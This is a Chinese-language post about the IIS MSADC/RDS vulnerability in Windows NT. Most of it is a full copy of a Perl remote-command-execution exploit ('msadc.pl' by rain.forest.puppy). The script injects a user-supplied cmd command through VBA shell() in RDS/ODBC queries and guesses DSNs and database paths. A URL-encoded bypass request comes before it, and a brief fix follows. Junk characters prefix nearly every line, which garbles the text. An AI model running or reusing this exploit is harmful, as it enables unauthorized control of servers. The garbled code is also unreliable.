IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
) |t;nK, *s JT\J$D[ 涉及程序：
gWk?g^KJL Microsoft NT server
IL0e:-@!0 hw 5NHZ I' 描述：
z:Y
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1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
EKgY r!+..c 详细：
QT8GP?F 如果你没有时间读详细内容的话，就删除:
C 4[) y J c:\Program Files\Common Files\System\Msadc\msadcs.dll
c/6 有关的安全问题就没有了。
;{L ~|q J <6.aSOS 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
8(3n v[ V><, . p8 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@5RbMf{ 关于利用ODBC远程漏洞的描述，请参看:
-s3q(SH Wg5<@=x!G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {<}9r6k ;f #Vy8<Vy&w 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
!+Fr U'^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q6 oM$qiM 0-P,zkK_v 这里不再论述。
u+7S/9q8 REg&[e+% 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
n[K L Y! bmzY^ %a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
| V: 9 ][\ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:kMF.9 U: PtTL
t iE~ }/bxe0px #将下面这段保存为txt文件，然后: "perl -x 文件名"
1a gNwFd~ )5[OG7/g #!perl
c 80Ffq #
m OC<a7# # MSADC/RDS 'usage' (aka exploit) script
(- D^_*f #
F$sDmk# # by rain.forest.puppy
+^< s' #
H:#sf][&,L # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!kxJ&VmeF # beta test and find errors!
P @Jo[J< %O|+` " use Socket; use Getopt::Std;
0SV<Pl^ getopts("e:vd:h:XR", \%args);
eF"k" Ckt' 3<x1s2U print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
B"Ma<"HU ey ]WoUZ if (!defined $args{h} && !defined $args{R}) {
<*Gd0 v% print qq~
a$=He Usage: msadc.pl -h <host> { -d <delay> -X -v }
^qY?x7mx1 -h <host> = host you want to scan (ip or domain)
eH_< <Xh!v -d <seconds> = delay between calls, default 1 second
:Ahw{z`H# -X = dump Index Server path table, if available
J))U YJ O -v = verbose
fi~jT"_CI -e = external dictionary file for step 5
,W| cyQ $L4h'(s Or a -R will resume a command session
rT|wZz9$@ ?CD[jX}! ~; exit;}
e? 7O om cC*H.N $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
it$w.v+W7V if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
} *jmW P if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%a:>3!
+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
hHk9O? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$KVCEe!X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`%/w0,0 G,}"}v: if (!defined $args{R}){ $ret = &has_msadc;
Y 8n*o3jM die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9i46u 20 Z8ds`KZM print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?j;,:n . "cmd /c ";
F.{$HJ $in=<STDIN>; chomp $in;
msV i3`q~ $command="cmd /c " . $in ;
{%oxzdP c D JZ$M if (defined $args{R}) {&load; exit;}
sOO_J!bblP Aw] kQ\P& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ES\=M O5a7 &try_btcustmr;
S}P rgw/ mb>8=hMg print "\nStep 2: Trying to make our own DSN...";
| Rj"}SC &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)A$xt)}P!{ \ZtKaEXnx print "\nStep 3: Trying known DSNs...";
af'gk&% &known_dsn;
w|1O-k` Mi } . print "\nStep 4: Trying known .mdbs...";
n%6ba77 &known_mdb;
4-?zW ^kK% 8 u if (defined $args{e}){
OH 13@ k print "\nStep 5: Trying dictionary of DSN names...";
fXe$Ug|5a &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
qg2Vmj<H K: |-s4= print "Sorry Charley...maybe next time?\n";
u` ;P^ t5 exit;
d"tR ?j FeNNzV= ##############################################################################
A">R-1R >9NC2%61S sub sendraw { # ripped and modded from whisker
P Ij sleep($delay); # it's a DoS on the server! At least on mine...
\hWac%# my ($pstr)=@_;
Q*hXFayx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
eQwvp`@" die("Socket problems\n");
&O5O@3:7] if(connect(S,pack "SnA4x8",2,80,$target)){
J@O K"%12 select(S); $|=1;
KE6 XNG3 print $pstr; my @in=<S>;
26; Gt8 select(STDOUT); close(S);
6 rW b2b return @in;
P Q{5*}$N } else { die("Can't connect...\n"); }}
N@Q_5t0bk uvAJJIae' ##############################################################################
<U c lL&U
ioo}D sub make_header { # make the HTTP request
pqTaN=R8 my $msadc=<<EOT
g;Zy 3
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-Jf}3$Ra User-Agent: ACTIVEDATA
dvM%" k Host: $ip
,p Y:kQ Content-Length: $clen
]:; dJc' Connection: Keep-Alive
w D:2sri cwOa"]t} ADCClientVersion:01.06
# q>\6} ) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
o7 0] F =ym<yI< --!ADM!ROX!YOUR!WORLD!
GKKDO+A=! Content-Type: application/x-varg
sm;kg= Content-Length: $reqlen
=\ k:] i5=~tS EOT
|MOz> 1<a ; $msadc=~s/\n/\r\n/g;
ddN G : return $msadc;}
:>/6:c?atG CY lS8j ##############################################################################
LJom+PxF$x *<[zG7+&[ sub make_req { # make the RDS request
t 4VeXp6 my ($switch, $p1, $p2)=@_;
1=,y +Xpw my $req=""; my $t1, $t2, $query, $dsn;
7#c4.9b? N}1yDN if ($switch==1){ # this is the btcustmr.mdb query
.
:>e"D $query="Select * from Customers where City=" . make_shell();
#G_'5{V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
T|0+o+i $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8.>himL
]G
D `
f elsif ($switch==2){ # this is general make table query
\ @[Q3.VX $query="create table AZZ (B int, C varchar(10))";
|fW_9={1kQ $dsn="$p1";}
kv6nVlI)B K- $,:28 elsif ($switch==3){ # this is general exploit table query
&YcOmI/MM
$query="select * from AZZ where C=" . make_shell();
N:okt)q:% $dsn="$p1";}
cRuN; zWv0y8[d elsif ($switch==4){ # attempt to hork file info from index server
yn"4qC#Z $query="select path from scope()";
tj* /% G{Y $dsn="Provider=MSIDXS;";}
+KD7Di91<K ;4(}e{ elsif ($switch==5){ # bad query
Pjn{3/*wi $query="select";
j@w1S[vt $dsn="$p1";}
:`E p#[Wvo d S'J @e=# $t1= make_unicode($query);
l^$'6q" $t2= make_unicode($dsn);
$ :\`E 56\ $req = "\x02\x00\x03\x00";
5KDCm w $req.= "\x08\x00" . pack ("S1", length($t1));
oH!O {pQK} $req.= "\x00\x00" . $t1 ;
,QpFVlPU $req.= "\x08\x00" . pack ("S1", length($t2));
gWoUE7.3` $req.= "\x00\x00" . $t2 ;
~
rQ,% dH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]31=8+D return $req;}
Y9>92#aME 'n
^,lXWB ##############################################################################
=*I|z+ 8 ]exsn Z sub make_shell { # this makes the shell() statement
,Si{]y return "'|shell(\"$command\")|'";}
Z1:%Aq xP .Zj`_5C ##############################################################################
{y a . pkae91 sub make_unicode { # quick little function to convert to unicode
ji
./m8( my ($in)=@_; my $out;
G ~ v:@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~;a \S3 return $out;}
HsUh5; #r]Z 2Y] ##############################################################################
.)_2AoT7[ ~#jiX6<I sub rdo_success { # checks for RDO return success (this is kludge)
7Xu# |k my (@in) = @_; my $base=content_start(@in);
zA8@'`Id if($in[$base]=~/multipart\/mixed/){
wpN3-D return 1 if( $in[$base+10]=~/^\x09\x00/ );}
fISK3t/=C return 0;}
_ilitwRN3 f U?#^Lg ##############################################################################
lgS7; 1Y J?Y sub make_dsn { # this makes a DSN for us
biU_ImJ>0 my @drives=("c","d","e","f");
|Tc4a4 jS print "\nMaking DSN: ";
zL9~gJ foreach $drive (@drives) {
$+_1F` print "$drive: ";
=>B"j`oR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
w$AR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Eu: /U*j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C}pm>(F~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<R;wa@a> return 0 if $2 eq "404"; # not found/doesn't exist
e,VF;Br if($2 eq "200") {
]X77?Zz9 foreach $line (@results) {
-{k8^o7$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IQ~qiFCf } return 0;}
kY'Wf`y( *d;TpwUI ##############################################################################
vdAd@Z~\ Z\EA!Cs3 sub verify_exists {
pCrm `hy( my ($page)=@_;
Vub6wb<G[ my @results=sendraw("GET $page HTTP/1.0\n\n");
+( 92}~RK return $results[0];}
A8{ xZsH LUId<We ##############################################################################
)LIn1o_, +:-xV sub try_btcustmr {
)J> dGIb my @drives=("c","d","e","f");
1 =C12 my @dirs=("winnt","winnt35","winnt351","win","windows");
2/fol TR7 U| x Hy+N foreach $dir (@dirs) {
D|*w6p("z print "$dir -> "; # fun status so you can see progress
L;u 5 foreach $drive (@drives) {
5;HGS{` print "$drive: "; # ditto
|[Fb & x $reqlen=length( make_req(1,$drive,$dir) ) - 28;
hN6wp_ $reqlenlen=length( "$reqlen" );
Vjv6d&Q $clen= 206 + $reqlenlen + $reqlen;
`Ucj_6&Tqs D@gC(&U/6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
k|?[EWIi^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
cI @qt>& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
VGD~) z57 *oz#YGN m ##############################################################################
2#R$-* ;# a-Y6gh s sub odbc_error {
un_NBv} my (@in)=@_; my $base;
]!"w?-h Si my $base = content_start(@in);
rFpYlMct if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@4T $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?x&}ammid $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jIT|Kk&] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qe{;EH* return $in[$base+4].$in[$base+5].$in[$base+6];}
8I RKC uV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
n|&=6hiI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
X 5[vQ3^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
anbw\yh8 \f?
K 74 ##############################################################################
`| ?<KF164 <I34@;R c sub verbose {
[B; okW my ($in)=@_;
t-K icLr return if !$verbose;
_$c o Y print STDOUT "\n$in\n";}
.,xyE--;d 3kC|y[.& ##############################################################################
x4c|/}\)*
aYT !xdCI sub save {
~LpkA`Hn! my ($p1, $p2, $p3, $p4)=@_;
\DS*G7.A+& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
g:)iEw> a print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
LX7P?j close OUT;}
|~
fI=1;;x qS @3:R ##############################################################################
tm.60udbo 6`Tx meIP sub load {
3= sBe HL my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k+-?b(z)$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{c9 f v H @p=<IN>; close(IN);
#J&3Zds $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5 tpC$4m $target= inet_aton($ip) || die("inet_aton problems");
2I_ yUt- print "Resuming to $ip ...";
'hU5]}= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)~=8Ssu if($p[1]==1) {
~nU9j"$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2K};-}eW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<hCO-r# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n]$ rLm%^ if (rdo_success(@results)){print "Success!\n";}
VtI`Qc jc else { print "failed\n"; verbose(odbc_error(@results));}}
[(x*!,= elsif ($p[1]==3){
4h|* r ! if(run_query("$p[3]")){
g]: [ ^p print "Success!\n";} else { print "failed\n"; }}
hQ<7k' V elsif ($p[1]==4){
=bC' >qw} if(run_query($drvst . "$p[3]")){
/7#e print "Success!\n"; } else { print "failed\n"; }}
T^|k` exit;}
AaA!U!B "NLuAB. P ##############################################################################
Hq:: F? o}:x-Y sub create_table {
f m-m?= my ($in)=@_;
IxCesh $reqlen=length( make_req(2,$in,"") ) - 28;
d-1D:Hs? $reqlenlen=length( "$reqlen" );
Z3{1`"\<K
$clen= 206 + $reqlenlen + $reqlen;
XJeWhk3R9 my @results=sendraw(make_header() . make_req(2,$in,""));
I*.nwV< return 1 if rdo_success(@results);
: Q("
my $temp= odbc_error(@results); verbose($temp);
yPtE5"(o return 1 if $temp=~/Table 'AZZ' already exists/;
u M1$3< return 0;}
#W)m({ } /-FV1G, h ##############################################################################
|Q cz5M90e 9&f+ I@K sub known_dsn {
Cd RJ@Lf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
?s$d("~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GxD`M2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#;ObugY , "banner", "banners", "ads", "ADCDemo", "ADCTest");
{f-O~P<Z4 W%>T{}4 foreach $dSn (@dsns) {
mA$y$73=T print ".";
?j/FYi next if (!is_access("DSN=$dSn"));
|8C xMs if(create_table("DSN=$dSn")){
%Hd[,duwO print "$dSn successful\n";
\;~Nj# if(run_query("DSN=$dSn")){
LEPLoF3, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*4%pXm; print "Something's borked. Use verbose next time\n";}}} print "\n";}
E Ou[X'gLr ) dk|S\ ##############################################################################
9!X3Cv|+ L uOzoE_i sub is_access {
G 8+&fn6 my ($in)=@_;
!xck
~EAS $reqlen=length( make_req(5,$in,"") ) - 28;
Z[*unIk $reqlenlen=length( "$reqlen" );
lH= |Qu $clen= 206 + $reqlenlen + $reqlen;
p2 1 | my @results=sendraw(make_header() . make_req(5,$in,""));
<{k{ Coy my $temp= odbc_error(@results);
3f^Pr verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Vu.=,G return 0;}
vq(#Ih2 L#K`F8Wi= ##############################################################################
<">epbV6 C3W4:kbau sub run_query {
kR9 7 )}Y my ($in)=@_;
d X/7n= $reqlen=length( make_req(3,$in,"") ) - 28;
zJ y= 1r $reqlenlen=length( "$reqlen" );
Y dO*5Gb6 $clen= 206 + $reqlenlen + $reqlen;
tWy.Gz\ my @results=sendraw(make_header() . make_req(3,$in,""));
pt.V^a return 1 if rdo_success(@results);
[nig^8 my $temp= odbc_error(@results); verbose($temp);
?} 8r h% return 0;}
Jg=!GU/:: "!zJQl@ ##############################################################################
[yN+(^ i ./ XX sub known_mdb {
SZe55mK ` my @drives=("c","d","e","f","g");
;@qS#7SRB my @dirs=("winnt","winnt35","winnt351","win","windows");
_"Bj`5S my $dir, $drive, $mdb;
k/{WlLN my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wX }p6yyN \:{K" ,2 # this is sparse, because I don't know of many
YOLzCnI4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
uT, i& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Lcv czS T "\\system32\\certmdb.mdb",
C `_/aR6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i,ZEUdd*_ 2k<#e 2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7OmT^jV2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
ds!n l1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
B;N<{Gb "\\cfusion\\cfapps\\security\\realm_.mdb",
ULz<P "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bC: sd2s "\\cfusion\\database\\cfexamples.mdb",
RKzty=j4 "\\cfusion\\database\\cfsnippets.mdb",
[pTdeg;QE "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-W^{)%4g "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$]_SPu "\\cfusion\\brighttiger\\database\\cleam.mdb",
rwXpB<@l@ "\\cfusion\\database\\smpolicy.mdb",
03 gbcNo "\\cfusion\\database\cypress.mdb",
50 Gr\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'(B -{}l "\\website\\cgi-win\\dbsample.mdb",
~wuCa!!A "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
EQlb:;j "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\ 54B ); #these are just
&Iy5@8 foreach $drive (@drives) {
RBf#5VjOG! foreach $dir (@dirs){
FCNYfjB% foreach $mdb (@sysmdbs) {
5n2!Y\ print ".";
C lf;+G0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
! 1I# L!9 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
) M0(vog if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Q /?`); print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&v .S_Ym } else { print "Something's borked. Use verbose next time\n"; }}}}}
C5 I LVQ 1z7+:~;l foreach $drive (@drives) {
^
3 4Ng foreach $mdb (@mdbs) {
*:T wO=) print ".";
4!{lySW if(create_table($drv . $drive . $dir . $mdb)){
;iX~3[] print "\n" . $drive . $dir . $mdb . " successful\n";
zs]ubJC@ if(run_query($drv . $drive . $dir . $mdb)){
*$%~/Q@] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*d=}HO/ } else { print "Something's borked. Use verbose next time\n"; }}}}
^yB]_*WJ }
rd0Fd+t/ vVo'f|fW ##############################################################################
3?V' O6 G@ ot^n3 sub hork_idx {
JR]elRR print "\nAttempting to dump Index Server tables...\n";
0=HB!{ @ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%HpPTjAW $reqlen=length( make_req(4,"","") ) - 28;
KDEyVYO: $reqlenlen=length( "$reqlen" );
n~ yHt/T $clen= 206 + $reqlenlen + $reqlen;
c y,6^d my @results=sendraw2(make_header() . make_req(4,"",""));
n(N u if (rdo_success(@results)){
:1 qLRr my $max=@results; my $c; my %d;
{2:baoG- for($c=19; $c<$max; $c++){
? aTH< $results[$c]=~s/\x00//g;
n D/B :0' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
c\o_U9=n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
w~Q\:<x&~Z $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Sc{&h8KMTb $d{"$1$2"}="";}
DDkN3\w foreach $c (keys %d){ print "$c\n"; }
1(Vv-bq$ } else {print "Index server doesn't seem to be installed.\n"; }}
I= :yfW ,H6P% ##############################################################################
j%`
C @uyQH c,V sub dsn_dict {
&q|vvF<G open(IN, "<$args{e}") || die("Can't open external dictionary\n");
W[J2>`k9 while(<IN>){
0-uj0"r` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wry`2_c next if (!is_access("DSN=$dSn"));
."dT6u E if(create_table("DSN=$dSn")){
OAq-(_H print "$dSn successful\n";
]_ B <K5 if(run_query("DSN=$dSn")){
% %X/gvaJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yWRIh*>nE print "Something's borked. Use verbose next time\n";}}}
YM;ro5_KF print "\n"; close(IN);}
c`3`}&g# BTr
oe=R ##############################################################################
bTeuOpp I(VqtC:K. sub sendraw2 { # ripped and modded from whisker
axC{azo| sleep($delay); # it's a DoS on the server! At least on mine...
hJ8&OCR } my ($pstr)=@_;
7hn[i,?`
H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7#"NKxb die("Socket problems\n");
:|5 m"X\ if(connect(S,pack "SnA4x8",2,80,$target)){
cu}(\a print "Connected. Getting data";
UUWRC1EtI open(OUT,">raw.out"); my @in;
>b\|%=(x!* select(S); $|=1; print $pstr;
I_f%%N% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Zex~ $r close(OUT); select(STDOUT); close(S); return @in;
<#BK( W~$ } else { die("Can't connect...\n"); }}
^n~ Kr1}nj *<cRQfA1 ##############################################################################
am/}V%^ .a2R2~35 sub content_start { # this will take in the server headers
.&b^6$dC my (@in)=@_; my $c;
Hz,Gn 9:p for ($c=1;$c<500;$c++) {
GtmoFSZ if($in[$c] =~/^\x0d\x0a/){
?84f\<" if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~H \P0G5GA else { return $c+1; }}}
]vcT2lr] return -1;} # it should never get here actually
m $[:J ? 3DFm ##############################################################################
5u9 lKno c(Y~5A{TXO sub funky {
m
%+'St|qr my (@in)=@_; my $error=odbc_error(@in);
qh> An;:u if($error=~/ADO could not find the specified provider/){
j^#\km B print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+/$&P3 exit;}
^- ?^iWQ G if($error=~/A Handler is required/){
(BH<\&yHE print "\nServer has custom handler filters (they most likely are patched)\n";
/z^v % l exit;}
th*!EFA^o if($error=~/specified Handler has denied Access/){
vh2/d.MO print "\nServer has custom handler filters (they most likely are patched)\n";
tlO=> exit;}}
[4qvQ7Y
! 5D/Td#T04 ##############################################################################
4S>#>(n7= Q3+%8zZI sub has_msadc {
zhow\l2t} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CaCApL my $base=content_start(@results);
`Qb!W45 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)2E vZn return 0;}
hH>a{7V #QlxEs#% ########################
6 E_~8oEl ]+pE1- p\ ?8grK 解决方案：
:twp95{R1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^0_ > 2、移除web 目录: /msadc
